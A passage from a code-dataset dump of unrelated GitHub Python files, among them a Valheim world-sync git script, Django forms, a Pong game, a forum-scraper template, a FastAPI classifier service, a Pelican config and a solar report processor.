GitHub-repo as a remote the repo in \"MyNewlyCreatedFolder\"\n ( git remote add origin https://github.com//.git )\n6. Add push this folder to the GitHub repo\n ( git add . )\n ( git commit -m \"Initial commit\" )\n ( git branch -M main )\n ( git push -u origin/main )\n7. Start asa_worlds.py and let it run before starting Valheim ( python3 asa_worlds.py )\n8. Exit asa_worlds.py after exiting Valheim by pressing Ctrl+C\n9. Done! Invite your friends to clone the repo. OBS! They only have to do steps 7 and 8.\n\n\nP.S: SSH Authentication for GitHub is strongly recommended, as failed \n authentication isn't handled at all here.\nP.S.S: Change `WORLD_NAME` if your world name isn't \"MyWorld\".\n\"\"\"\n\nimport shutil\nimport subprocess as sp\nimport sys\nimport time\nfrom datetime import datetime\nfrom pathlib import Path\n\ntry:\n from termcolor import colored\nexcept ImportError:\n def colored(string, *args, **kwargs):\n return string\n\nWORLD_NAME = \"MyWorld\"\nHERE = Path(\".\")\nGITTED_FOLDER = HERE / WORLD_NAME\nTIME_STAMP = datetime.now().strftime(\"%d%m%Y-%H%M%S\")\n\nWORLDS_FOLDER = Path.home() / \"AppData\" / \"LocalLow\" / \"IronGate\" / \"Valheim\" / \"worlds\"\n\n\ndef mayor_print(string):\n print(colored(\"=\"*80, \"blue\", attrs=[\"bold\"]))\n print(\" \" * 19, colored(string, attrs=[\"bold\"]))\n print(colored(\"=\"*80, \"blue\", attrs=[\"bold\"]))\n\n\ndef minor_print(string):\n print(colored(\"-\" * 19, \"blue\", attrs=[\"bold\"]), string)\n\n\ndef shell_command(split_cmd, cwd=HERE):\n \"\"\" Runs a shell command and returns False if the return code is non-zero \"\"\"\n print(colored(f'Kör \"{\" \".join(split_cmd)}\"', 'blue', attrs=['bold']))\n try:\n sp.run(split_cmd, cwd=cwd, check=True)\n return True\n except sp.CalledProcessError:\n return False\n\n\ndef copy_files(file_paths, new_dir):\n assert len(list(file_paths)) == 4\n print(\"Försöker kopiera 4 filer från:\")\n print(\" \", file_paths[0].parent)\n print(\"till:\")\n print(\" \", new_dir)\n\n for file_path in file_paths:\n destination = new_dir / file_path.name\n shutil.copy(file_path.absolute(), destination.absolute())\n\n\ndef move_files(file_paths, new_dir):\n assert len(list(file_paths)) == 4\n print(\"Försöker flytta 4 filer från:\")\n print(\" \", file_paths[0].parent)\n print(\"till:\")\n print(\" \", new_dir)\n\n for file_path in file_paths:\n destination = new_dir / file_path.name\n file_path.absolute().rename(destination.absolute())\n\n\ndef backup_old_world():\n minor_print(f\"Skapar backup för {WORLD_NAME}\")\n\n backup_folder = WORLDS_FOLDER / (\"backup_\" + WORLD_NAME + \"_\" + TIME_STAMP)\n present_world_files = list(WORLDS_FOLDER.glob(WORLD_NAME + \"*\"))\n\n if len(present_world_files) == 4:\n backup_folder.mkdir()\n move_files(present_world_files, backup_folder)\n elif len(present_world_files) == 0:\n print(f'Hittade inga filer för \"{WORLD_NAME}\" i\\n\\t{WORLDS_FOLDER}')\n print(\"Antingen är den redan back-uppad eller så finns inga filer.\")\n else:\n print(\"WTH, dude. SOmething is wrong in your files\")\n print(f'hittade bara {len(present_world_files)} saker som heter \"{WORLD_NAME}\"')\n\n\ndef move_gitted_world_to_appdata():\n minor_print(\"Flyttar världsfiler från lokala repot till AppData ...\")\n\n gitted_files = list(GITTED_FOLDER.glob(WORLD_NAME + \"*\"))\n\n if len(gitted_files) == 4:\n copy_files(gitted_files, WORLDS_FOLDER)\n return True\n else:\n print(f'Satan! Inga världsfiler i repot för \"{WORLD_NAME}\"')\n print(f'Se till att flytta de filer du har i\\n\\t{WORLDS_FOLDER}')\n print(f'Till mappen \"{GITTED_FOLDER}\"')\n return False\n\n\ndef commit_world():\n minor_print(\"Commitar världen ...\")\n\n world_files_paths = list(WORLDS_FOLDER.glob(WORLD_NAME + \"*\"))\n copy_files(world_files_paths, GITTED_FOLDER)\n\n world_files_to_add = list(GITTED_FOLDER.glob(WORLD_NAME + \"*\"))\n world_files_to_add = map(Path.as_posix, world_files_to_add)\n shell_command([\"git\", \"add\", *world_files_to_add])\n shell_command([\"git\", \"commit\", \"-m\", f\"Update world {WORLD_NAME}\"])\n\n\ndef git_pull():\n minor_print(\"Pullar ...\")\n assert shell_command([\"git\", \"pull\"])\n\n\ndef git_push():\n minor_print(\"Pushar till origin/main ...\")\n assert shell_command([\"git\", \"push\", \"-u\", \"origin\", \"main\"])\n\n\ndef try_aquire_lock():\n \"\"\" Returns true if the lock is aquired, false otherwise \"\"\"\n minor_print(\"Försöker skaffa låset ...\")\n\n lock_path = GITTED_FOLDER / \"lock\"\n\n try:\n lock_path.touch()\n except FileExistsError:\n return False\n\n shell_command([\"git\", \"add\", lock_path.as_posix()])\n shell_command([\"git\", \"commit\", \"-m\", f\"Aquired lock for {WORLD_NAME}\"])\n return True\n\n\ndef release_lock():\n minor_print(\"Släpper låset ...\")\n lock_path = GITTED_FOLDER / \"lock\"\n shell_command([\"git\", \"rm\", lock_path.as_posix()])\n shell_command([\"git\", \"commit\", \"-m\", f\"Released lock for {WORLD_NAME}\"])\n\n\ndef main():\n mayor_print(\"Uppdaterar\")\n git_pull()\n\n mayor_print(\"Försöker starta\")\n if not try_aquire_lock():\n print(\"Någon använder redan världen!\")\n sys.exit(0)\n\n mayor_print(\"Bytar plats på repo-världen och det som finns i AppData ...\")\n backup_old_world()\n if not move_gitted_world_to_appdata():\n print(\"Kunde inte flytta världen till AppData :(\")\n print(\"Din förra värld är i en ny mapp. Vill du komma åt den så får du fixa't själv.\")\n sys.exit(1)\n\n mayor_print(\"Start klar!\")\n print(\"Nu kan du köra igång Valheim!\")\n print()\n print('Tryck \"Ctrl+C\" när du stängt ner servern och vill pusha världen.')\n\n try:\n # Wait for Ctrl-C.\n while True:\n time.sleep(1000)\n except KeyboardInterrupt:\n commit_world()\n release_lock()\n git_push()\n mayor_print(\"Tack haaaj!\")\n\n\ndef check_shell_program_deps(deps):\n \"\"\"\n Returns true if all deps exists on the system.\n Testing if return code from \"program --version\" is 0.\n \"\"\"\n for dep in deps:\n success = shell_command([dep, \"--version\"])\n if not success:\n print(dep, \"är nog inte installerat :(\")\n return False\n print(\"Alla skal-kommandon finns!\")\n return True\n\nif __name__ == \"__main__\":\n mayor_print(\"Kollar miljön\")\n\n # kolla om vi är på windows\n if sys.platform != \"win32\":\n print(\"Du verkar inte köra på Windows! Se till att göra det!\")\n sys.exit(0)\n\n # kolla om scriptet körs från rätt mapp\n if Path(__file__).parent.absolute() != Path.cwd().absolute():\n print(\"Fan, sorry. Men du måste vara i denna mappen:\")\n print(\" \", Path(__file__).parent.absolute())\n sys.exit(1)\n\n # kollar om grejjor är installerade.\n if not check_shell_program_deps([\"git\"]):\n sys.exit(1)\n\n # kollar om världen finns i repot.\n if not GITTED_FOLDER.exists():\n print(f'\"{GITTED_FOLDER}\" verkar inte finnas i repot. Avslutar...')\n sys.exit(1)\n\n main()\n","repo_name":"hedesandxlii/asa_worlds","sub_path":"asa_worlds.py","file_name":"asa_worlds.py","file_ext":"py","file_size_in_byte":7845,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23463564311","text":"def max_lw(x):\r\n return max([(i+1, x-1) for i in range(x/2+1)])\r\n\r\ndef can_do(x, r, c):\r\n sz = r * c\r\n if x > sz:\r\n return False\r\n if x > r and x > c:\r\n return False\r\n if sz % x != 0:\r\n return False\r\n mlw = max_lw(x)\r\n if max(mlw) > max(r, c) or min(mlw) > min(r, c):\r\n return False\r\n #if min(r, c) == x / 2 and max(r, c) == x:\r\n # print \"!!\"\r\n # return False\r\n return True\r\n\r\nif __name__ == \"__main__\":\r\n fi = open('test.in', 'r')\r\n fo = open('test.out', 'w')\r\n\r\n size = int(fi.readline())\r\n trials = []\r\n\r\n for line in fi:\r\n # X, R, C\r\n trials.append([int(n) for n in line.split()])\r\n\r\n for T, trial in enumerate(trials):\r\n x = trial[0]\r\n r = trial[1]\r\n c = trial[2]\r\n\r\n winner = \"GABRIEL\" if can_do(x, r, c) else \"RICHARD\"\r\n\r\n towrite = \"Case #{0}: {1}\".format(T+1, winner)\r\n print(towrite, trial)\r\n fo.write(towrite + \"\\n\")\r\n\r\n #print trials\r\n\r\n fi.close()\r\n fo.close()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_158/1022.py","file_name":"1022.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17644575085","text":"from datetime import date\nfrom django import forms\nfrom django.core.exceptions import ValidationError\nfrom .models import Transaction, PlanningTransaction\nfrom django.forms import DateInput\n\n\ndef validate_not_future_date(value: date) -> None:\n \"\"\"\n Function to return an error if the transaction date is in the future\n \"\"\"\n if value > date.today():\n raise ValidationError({'transaction_date': [f'{value} is in the future']})\n\n\ndef validate_not_past_date(value: date) -> None:\n \"\"\"\n Function for throwing an error if the date of the planned transaction is in the past\n \"\"\"\n if value < date.today():\n raise ValidationError({'transaction_date_plan': [f'{value} is in the past']})\n\n\nclass TransactionForm(forms.ModelForm):\n class Meta:\n model = Transaction\n fields = (\n 'transaction_type', 'transaction_category', 'transaction_date', 'transaction_sum', 'transaction_comment')\n widgets = {'transaction_date': DateInput(attrs={'type': 'date'}), }\n\n def clean(self):\n \"\"\"\n clean() override for custom validators call\n \"\"\"\n super().clean()\n validate_not_future_date(self.cleaned_data.get('transaction_date'))\n\n\nclass PlanningTransactionForm(forms.ModelForm):\n class Meta:\n model = PlanningTransaction\n fields = (\n 'transaction_type_plan', 'transaction_category_plan', 'transaction_date_plan', 'transaction_sum_plan',\n 'transaction_comment_plan')\n widgets = {'transaction_date_plan': DateInput(attrs={'type': 'date'}), }\n\n def clean(self):\n \"\"\"\n clean() override for custom validators call\n \"\"\"\n super().clean()\n validate_not_past_date(self.cleaned_data.get('transaction_date_plan'))\n","repo_name":"DashaKol88/Home-Bookkeeping","sub_path":"Home_book/hbm/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70095428036","text":"from asgiref.sync import sync_to_async\n\nfrom store.models import Product\n\n\n@sync_to_async\ndef persist_product_event(event):\n Product.objects.create(\n name=event.name,\n description=event.description,\n price=event.price\n )\n","repo_name":"Nguyen2442/cache_crud_django_example","sub_path":"consumer/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70718977156","text":"# Jython for Topspin\n# -*- coding: utf-8 -*-\n\nfrom CPython_init import CPYTHON_BIN, CPYTHON_LIB, get_os_version\nfrom subprocess import Popen, PIPE\n\nFILE = 'hello_nmrglue.py'\nCPYTHON_FILE = CPYTHON_LIB + FILE\n\ndef fullpath(dataset):\n dat=dataset[:] # copy the original array\n if len(dat)==5: # for topspin 2\n dat[3]=\"%s/data/%s/nmr\" % (dat[3], dat[4])\n fulldata=\"%s/%s/%s/pdata/%s\" % (dat[3], dat[0], dat[1], dat[2])\n return fulldata\n\n# Get raw data\ndataset = CURDATA()\nfulldata = fullpath(dataset)\n\n# Copy data\ndataset_new = dataset[:] # copy the original array\ndataset_new[1]= INPUT_DIALOG(\n 'Copy dataset', '', ['new expno ='], [str(int(dataset[1])+100)])[0]\nXCMD(str('wrpa ' + dataset_new[1]))\nRE(dataset_new)\n\n# Verification\nfulldata_new = fullpath(CURDATA())\nif fulldata_new == fulldata:\n ERRMSG('Copy was not performed, hello_nmrglue aborted.', 'hello_nmrglue')\n EXIT()\n\n# Call to standard python\nCOMMAND_LINE = [CPYTHON_BIN, CPYTHON_FILE, fulldata_new]\nif get_os_version().startswith('windows'):\n COMMAND_LINE = \" \".join(str(elm) for elm in COMMAND_LINE)\nSHOW_STATUS('hello_nmrglue in progress, please be patient.')\np = Popen(COMMAND_LINE, stdin=PIPE, stdout=PIPE, stderr=PIPE)\noutput, err = p.communicate()\n\n# Display result\nRE(dataset_new)\nVIEWTEXT(\n title='hello_nmrglue', header='Output of hello_nmrglue script',\n text=output+'\\n'+err, modal=0)\n","repo_name":"gul916/NMR_post_proc","sub_path":"hello_nmrglue.py","file_name":"hello_nmrglue.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"31805646926","text":"from turtle import Screen\nfrom paddle import Paddle\nfrom ball import Ball\nfrom scoreboard import Scoreboard\nimport time\n\nscreen = Screen()\nscreen.setup(width=800, height=600)\nscreen.bgcolor(\"black\")\nscreen.title(\"Pong\")\nscreen.tracer(0)\n\nscoreboard = Scoreboard()\npaddle1 = Paddle((-350, 0))\npaddle2 = Paddle((350, 0))\nball = Ball()\n\nscreen.listen()\nscreen.onkeypress(paddle2.goUp, \"Up\")\nscreen.onkeypress(paddle2.goDown, \"Down\")\nscreen.onkeypress(paddle1.goUp, \"w\")\nscreen.onkeypress(paddle1.goDown, \"s\")\n\ngame_on = True\nwhile game_on:\n time.sleep(ball.move_speed)\n screen.update()\n ball.move()\n\n # Wall collision\n if ball.ycor() > 280 or ball.ycor() < -280:\n ball.bounceWall()\n\n # Paddle collision\n if ball.distance(paddle2.pos()) < 50 and ball.xcor() > 320 or ball.distance(paddle1.pos()) < 50 and ball.xcor() < -320:\n ball.bouncePaddle()\n\n # P1 Miss\n if ball.xcor() < -380:\n ball.reset()\n scoreboard.p2_point()\n\n # P2 miss\n if ball.xcor() > 380:\n ball.reset()\n scoreboard.p1_point()\n\n\nscreen.exitonclick()\n","repo_name":"kazukiSR/pong","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70890038593","text":"#! /usr/bin/env python\n#From http://scipy-cookbook.readthedocs.io/items/SWIG_NumPy_examples.html\n# System imports\nfrom distutils.core import *\nfrom distutils import sysconfig\n\nimport numpy\n\ntry:\n numpy_include = numpy.get_include()\nexcept AttributeError:\n numpy_include = numpy.get_numpy_include()\n\n_cmandel = Extension(\"_cmandel\",\n [\"cmandel.i\",\"cmandel.c\"],\n include_dirs = [numpy_include],\n )\n\nsetup( name = \"mandelbrot\",\n description = \"calculata mandebrot\",\n\n author = \"Finn-Haakon\",\n version = \"1.0\",\n ext_modules = [_cmandel]\n )\n","repo_name":"fhtuft/inf4331","sub_path":"assignment4/mandelbrot/swig/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4234760923","text":"# -- coding: utf-8 --\nimport os\nimport re\nfrom collections import OrderedDict\nimport traceback\nimport json\nimport utils\nimport datetime\nfrom lxml.html import fromstring\n\n\nfrom .base_template import BaseTemplate\n\n\nclass AntichatParser(BaseTemplate):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.parser_name = \"antichat.ru\"\n self.thread_name_pattern = re.compile(\n r'(\\d+).*html'\n )\n self.avatar_name_pattern = re.compile(r'.*/(\\w+\\.\\w+)')\n self.files = self.get_filtered_files(kwargs.get('files'))\n self.comments_xpath = '//ol[@class=\"messageList\"]/li'\n self.header_xpath = '//ol[@class=\"messageList\"]/li'\n self.date_xpath = '//div[@class=\"privateControls\"]'\\\n '//span[@class=\"DateTime\"]/@title|'\\\n '//div[@class=\"privateControls\"]'\\\n '//abbr[@class=\"DateTime\"]/@data-datestring'\n self.date_pattern = '%d %b %Y'\n self.author_xpath = 'div//div[@class=\"uix_userTextInner\"]/a[@class=\"username\"]//text()'\n self.title_xpath = '//div[@class=\"titleBar\"]/h1/text()'\n self.post_text_xpath = 'div//blockquote[contains(@class,\"messageText\")]//text()'\n self.comment_block_xpath = 'div//div[@class=\"messageDetails\"]/a/text()'\n self.avatar_xpath = 'div//div[@class=\"uix_avatarHolderInner\"]/a/img/@src'\n self.moderator_avartar_xpath = 'div//div[@class=\"uix_avatarHolderInner\"]/a[contains(@href,\"members/1/\")]'\n # main function\n self.main()\n\n def get_author(self, tag):\n author = tag.xpath(self.author_xpath)\n if author:\n author = ''.join(author).strip()\n return author\n else:\n moderator_avartar = tag.xpath(self.moderator_avartar_xpath)\n if moderator_avartar:\n return 'moderator'\n else:\n return ''\n","repo_name":"ken2190/Enterprise-Forum-Scraper","sub_path":"templates/antichat_template.py","file_name":"antichat_template.py","file_ext":"py","file_size_in_byte":1929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15140174384","text":"from finetune import Classifier\nfrom fastapi import Request, FastAPI\nimport pandas as pd\n\nmodelpath_liar = '/home/masterg/Documents/8th Semester/Social Computing/NoProp/Model/liar_BERT'\nmodelpath_prop = '/home/masterg/Documents/8th Semester/Social Computing/NoProp/Model/proppy_BERT'\n\nmodel_liar = None\nmodel_prop = None\ndf = None\n\napp = FastAPI()\n\n\n@app.on_event('startup')\nasync def startup_event():\n global model_liar\n model_liar = Classifier.load(modelpath_liar)\n global model_prop\n model_prop = Classifier.load(modelpath_prop)\n global df\n df = pd.read_csv('labels.csv')\n\n\ndef normalize_url(source):\n source = source.replace(\"http://\", \"\")\n source = source.replace(\"https://\", \"\")\n source = source.replace(\"www.\", \"\")\n source = source.replace(\"/\", \"\")\n return source\n\n\n@app.post('/')\nasync def hello_world(request: Request):\n data = await request.json()\n res = {}\n try:\n res = df[df['source_url_normalized'] == normalize_url(\n data['source'])].to_dict('records')[0]\n res['valid'] = True\n predictions_prop = model_prop.predict(data['article'])\n predictions_liar = model_liar.predict(data['article'])\n print(predictions_liar, predictions_prop)\n res[\"prop\"] = str(predictions_prop[0])\n res[\"liar\"] = str(predictions_liar[0])\n except IndexError:\n print(\"source not in list\")\n res = {\"valid\": False}\n return res\n","repo_name":"abhigyanghosh30/NoProp","sub_path":"Backend/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20377238481","text":"from dataclasses import dataclass\nfrom meya.element.field import element_field\nfrom meya.element.field import response_field\nfrom meya.text.component.ask import AskValidationError\nfrom meya.text.component.ask.catchall import AskCatchallComponent\nfrom meya.text.ignorecase import IgnorecaseMixin\nfrom meya.text.trigger.regex import RegexTrigger\nfrom meya.text.trigger.regex import RegexTriggerResponse\nfrom meya.trigger.entry.activate import TriggerActivateEntry\nfrom meya.util.dict import from_dict\nfrom typing import Any\nfrom typing import Optional\n\n\n@dataclass\nclass AskRegexComposerComponentOkResponse:\n result: str = response_field(sensitive=True)\n groups: dict = response_field(sensitive=True)\n ok: bool = response_field(default=True)\n\n\n@dataclass\nclass AskRegexComponent(AskCatchallComponent, IgnorecaseMixin):\n \"\"\"\n Get basic text input from the user and validate the input against the\n specified regex pattern.\n\n ```yaml\n - ask: What's your postal code?\n regex: >\n ^\n ([A-Za-z]\\d[A-Za-z])\n [ -]?\n (?P\\d[A-Za-z]\\d)\n $\n error_message: Invalid postal code, please try again.\n retries: .inf\n ```\n\n Which produces the following output:\n\n \n\n ### Input validation\n Once the user submits their input, it is evaluated against the specified\n regex pattern, and if the pattern matches then the component will store the\n value in `(@ flow.result )` in your app's [flow scope](https://docs.meya.ai/docs/scope#flow) data. If\n you use regex groups the group results will also be stored in the flow scope\n in `(@ flow.groups )`.\n\n Note, Meya uses the [Python regular expression syntax](https://docs.python.org/3/library/re.html#regular-expression-syntax) for all regex patterns.\n\n ### Retries\n By default the component will retry until the user's input matches the input.\n However, you can override this by setting an explicit `retries` value.\n\n The component will continue to the next flow step once the retry value has\n been reached. In this case `(@ flow.result )` will be `None`.\n \"\"\"\n\n regex: str = element_field(\n signature=True,\n help=(\n \"The regex (regular expression) pattern to validate the user \"\n \"input against.\"\n ),\n )\n ignorecase: Optional[bool] = element_field(\n default=None,\n help=(\n \"Ignore the case of the user input when validating against the \"\n \"regex pattern.\"\n ),\n )\n\n def trigger(self, data: Any = None) -> TriggerActivateEntry:\n return RegexTrigger(\n regex=self.regex,\n ignorecase=self.ignorecase,\n confidence=self.confidence,\n action=self.get_next_action(data=data),\n ).activate()\n\n async def next_response(self) -> Any:\n encrypted_trigger_response = from_dict(\n RegexTriggerResponse, self.entry.data\n )\n match_result = encrypted_trigger_response.result\n match_groups = encrypted_trigger_response.groups\n\n if self.catchall and not match_result:\n raise AskValidationError()\n\n return AskRegexComposerComponentOkResponse(\n result=match_result, groups=match_groups\n )\n","repo_name":"meya-customers/meya-sdk","sub_path":"meya/text/component/ask_regex/ask_regex.py","file_name":"ask_regex.py","file_ext":"py","file_size_in_byte":3353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"69883948355","text":"menu = {\"pizza\": 3.00,\n \"nachos\": 4.50,\n \"popcorn\": 6.00,\n \"fries\": 2.50,\n \"chips\": 1.00,\n \"pretzel\": 3.50,\n \"soda\": 3.00,\n \"lemonade\": 4.25}\ncart=[]\ntotal=0\n\nprint(\"-----Menu-----\")\nfor food,price in menu.items():\n print(f\"{food:10}: {price:.2f}\")\n\nwhile True:\n food=input(\"Please Select a food Item (q to quit)\").lower()\n if food=='q':\n break\n elif(menu.get(food)is not None):\n cart.append(food)\n\nprint(\"-----Your Oder-----\")\nfor food in cart:\n total+=menu.get(food)\n print(food,end=\" \")\n\nprint()\nprint(f\"Your Total is $ {total}\")","repo_name":"RohanDebnath/Python","sub_path":"Bro Code/26_Food Order.py","file_name":"26_Food Order.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74726036674","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- #\nfrom __future__ import unicode_literals\n\nAUTHOR = \"Diego Quintana\"\nSITENAME = \"Moving rocks around\"\nSITEURL = \"\"\n\nPATH = \"content\"\n\nTIMEZONE = \"Europe/Madrid\"\n\nDEFAULT_LANG = \"en\"\n\n# Feed generation is usually not desired when developing\nFEED_ALL_ATOM = None\nCATEGORY_FEED_ATOM = None\nTRANSLATION_FEED_ATOM = None\nAUTHOR_FEED_ATOM = None\nAUTHOR_FEED_RSS = None\n\n# Blogroll\n# LINKS = (('Pelican', 'http://getpelican.com/'),\n# ('Python.org', 'http://python.org/'),\n# ('Jinja2', 'http://jinja.pocoo.org/'),\n# ('You can modify those links in your config file', '#'),)\n\n# Social widget\n# SOCIAL = (('You can add links in your config file', '#'),\n# ('Another social link', '#'),)\n\nDEFAULT_PAGINATION = 5\n\n# publish everything as draft unless explictly specified otherwise\nDEFAULT_METADATA = {\"status\": \"draft\"}\n\n# Uncomment following line if you want document-relative URLs when developing\n# RELATIVE_URLS = True\nTHEME = \"themes/pelican-alchemy/alchemy\"\n\nMARKUP = (\"md\", \"ipynb\")\n\nfrom pelican_jupyter import markup as nb_markup\n\nPLUGINS = [nb_markup]\n\n# pelican-resume settings\n# https://github.com/cmenguy/pelican-resume#settings\n\n# RESUME_SRC\n# RESUME_PDF\n# RESUME_TYPE\n# RESUME_CSS_DIR\n\n# --- pelican-alchemy settings --------------------------------------\n# https://github.com/nairobilug/pelican-alchemy/wiki/Settings\n\nSITESUBTITLE = \"Diego Quintana's blog\"\nSITEIMAGE = \"/images/profile.jpg width=400 height=400\"\nHIDE_AUTHORS = True\n\nICONS = (\n (\"github\", \"https://github.com/diegoquintanav\"),\n (\"linkedin\", \"https://www.linkedin.com/in/diego-quintana-valenzuela/\"),\n (\"stack-overflow\", \"https://stackoverflow.com/users/5819113/bluesmonk\"),\n (\"spotify\", \"https://open.spotify.com/user/11102438968?si=a22574d2e0214ba8\"),\n)\n\nSTATIC_PATHS = [\"extras\", \"images\"]\n# PYGMENTS_STYLE = 'monokai'\nPYGMENTS_STYLE = \"borland\"\n# RFG_FAVICONS = True\nTHEME_CSS_OVERRIDES = [\"theme/css/customstyle.css\"]\nDIRECT_TEMPLATES = [\"index\", \"tags\", \"categories\", \"authors\", \"archives\", \"sitemap\"]\n\n# --- pelican plugins settings ---------------------\n\n# ipynb\n# if you create jupyter files in the content dir, snapshots are saved with the same\n# metadata. These need to be ignored.\nIGNORE_FILES = [\".ipynb_checkpoints\"]\nIPYNB_GENERATE_SUMMARY = True\nIPYNB_FIX_CSS = True\nIPYNB_EXPORT_TEMPLATE = \"./themes/nb_templates/custom.tpl\"\n\nMARKDOWN = {\n \"extension_configs\": {\n \"markdown.extensions.toc\": {\"title\": \"\"},\n \"markdown.extensions.codehilite\": {\"css_class\": \"highlight\"},\n \"markdown.extensions.extra\": {},\n \"markdown.extensions.meta\": {},\n },\n \"output_format\": \"html5\",\n}\n","repo_name":"diegoquintanav/diegoquintanav.github.io","sub_path":"pelicanconf.py","file_name":"pelicanconf.py","file_ext":"py","file_size_in_byte":2684,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"13215847851","text":"from getReportData import getReportData\nimport pandas as pd\nimport numpy as np\nimport scipy.stats\nimport sys\nfrom datetime import datetime\n\ndef processReportData(sitename):\n\treportdata = getReportData(sitename)\n\n\tFirstDCsize=int(reportdata[\"sysinfo\"][\"DC size\"])\n\tDegradation=reportdata[\"sysinfo\"][\"Yearly Module Degradation\"]\n\tdegradation=float(Degradation.strip(\"%\").strip(\"-\"))/100\n\t\n\tfulldatamonths=reportdata[\"fulldatamonths\"]\n\tfulldatapoints=reportdata[\"fulldatapoints\"]\n\trecentdatamonths=reportdata[\"recentdatamonths\"]\n\taltusbaseline=reportdata['altusbaseline']\n\tpercentup=reportdata['percentUp']\n\t\n\ttmy=reportdata[\"tmy\"]\n\tproduction=reportdata[\"production\"]\n\tstartdate=reportdata['sysinfo'][\"Analysis Start Date\"]\n\tMaturity=int(reportdata['sysinfo']['Maturity'])\n\n\tPOA=reportdata[\"sysinfo\"]['POA (kWh/m^d2)']#Baseline POA\n\tPOAfactor=float(reportdata['sysinfo']['P50 POA factor']) #one number: 1.14\n\tP50_POA=float(reportdata['sysinfo']['P50 POA'])#1590.3\n\tPRratio=float(reportdata['sysinfo']['Performance Ratio'].strip('%'))/100#81.61%\n\tNetOutput=reportdata['sysinfo']['Net Output (mWh)']\n\tP50_GHI=float(reportdata['sysinfo']['P50 GHI'])\n\tfirstmonth=reportdata[\"fulldatamonths\"][11]\n\tfirstfulldatamonth=reportdata[\"fulldatamonths\"][0]\n\tfirstrecentdatamonth=reportdata[\"recentdatamonths\"][0]\n\n#1.2 Irradaince table\n\tmonthlyibmdata={}\n\tmonthlynreldata={}\n\tmonthlyalsodata={}\n\tfor i in range(1,13):\n\t\tmonthlyibmdata[i]=[]\n\t\tmonthlynreldata[i]=[]\n\t\tmonthlyalsodata[i]=[]\n\n\tfor (t,d) in zip(fulldatamonths,fulldatapoints):\n\t\tif t=='1/2019':\n\t\t\tbreak\n\t\tmonth=int(t.split('/')[0])\n\t\tif 'ibm' in d.keys():\n\t\t\tmonthlyibmdata[month].append(d[\"ibm\"])\n\t\tif 'nrel' in d.keys():\n\t\t\tmonthlynreldata[month].append(d['nrel'])\n\t\tif 'also' in d.keys():\n\t\t\tmonthlyalsodata[month].append(d['also'])\n\n\tibmavgmonth=[np.mean(value) for value in monthlyibmdata.values()]\n\tnrelavgmonth=[np.mean(value) for value in monthlynreldata.values()]\n\tibmstdmonth=[np.std(value) for value in monthlyibmdata.values()]\n\tnrelstdmonth=[np.std(value) for value in monthlynreldata.values()]\n\talsoavgmonth=[(np.mean(value) if len(value) > 0 else 0) for value in monthlyalsodata.values()]\n\t\n\tIrradiance={'InvestmentBaseline':altusbaseline,'NSRDB Average':nrelavgmonth,'TWC (IBM) Average)':ibmavgmonth,'TMY':tmy}\n\n#1.3 Base Year Scenario\n#1.3.1 Investment Irradiance Baseline Scenario\n\tpoabaseline=[]\n\tnetprodbaseline=[]\n\tfor i in range(1,13):\n\t\tpoabaseline.append(float(POA[str(i)]))\n\t\tnetprodbaseline.append(float(NetOutput[str(i)]))\n\n\tpoafactor=[]\n\tPR=[]\n\tMonthlyOutputContribution_baseline=[]\n\tfor (base,p,noutput) in zip(altusbaseline,poabaseline,netprodbaseline):\n\t\tpoafactor.append(p/float(base))\n\t\tPR.append(noutput/(p*FirstDCsize/1000))\n\t\tPRpercent=['{:.2%}'.format(i) for i in PR]\n\t\tMonthlyOutputContribution_baseline.append('{:.2%}'.format(noutput/np.sum(netprodbaseline)))\n\n\tBaselineScenario={'poabaseline':poabaseline,'poafactor':poafactor,'netprodbaseline':netprodbaseline,'PR':PRpercent,'MonthlyOutputContribution_baseline':MonthlyOutputContribution_baseline}\n\n#1.3.2NSRDB Avgerage Scenario\n\tpoanrel=[a*b for (a,b) in zip(nrelavgmonth,poafactor)]\n\tnetprodnrel=[c*d*FirstDCsize/1000 for (c,d) in zip(poanrel,PR)]\n\tPRrationrel=[a/(FirstDCsize*b/1000) for (a,b) in zip(netprodnrel,poanrel)]\n\tPRnrelpercent=['{:.2%}'.format(i) for i in PRrationrel]\n\tMonthlyOutputContribution_nrel=['{:.2%}'.format(i/np.sum(netprodnrel)) for i in netprodnrel]\n\n\tNRELScenario={'poanrel':poanrel,'netprodibm':netprodnrel,'PRrationrel':PRnrelpercent,'MonthlyOutputContribution_nrel':MonthlyOutputContribution_nrel}\n\n#1.3.3TWC(IBM) Average Scenario\n\tpoaibm=[a*b for (a,b) in zip(ibmavgmonth,poafactor)]\n\tnetprodibm=[c*d*FirstDCsize/1000 for (c,d) in zip(poaibm,PR)]\t\n\tPRratioibm=[a/(FirstDCsize*b/1000) for 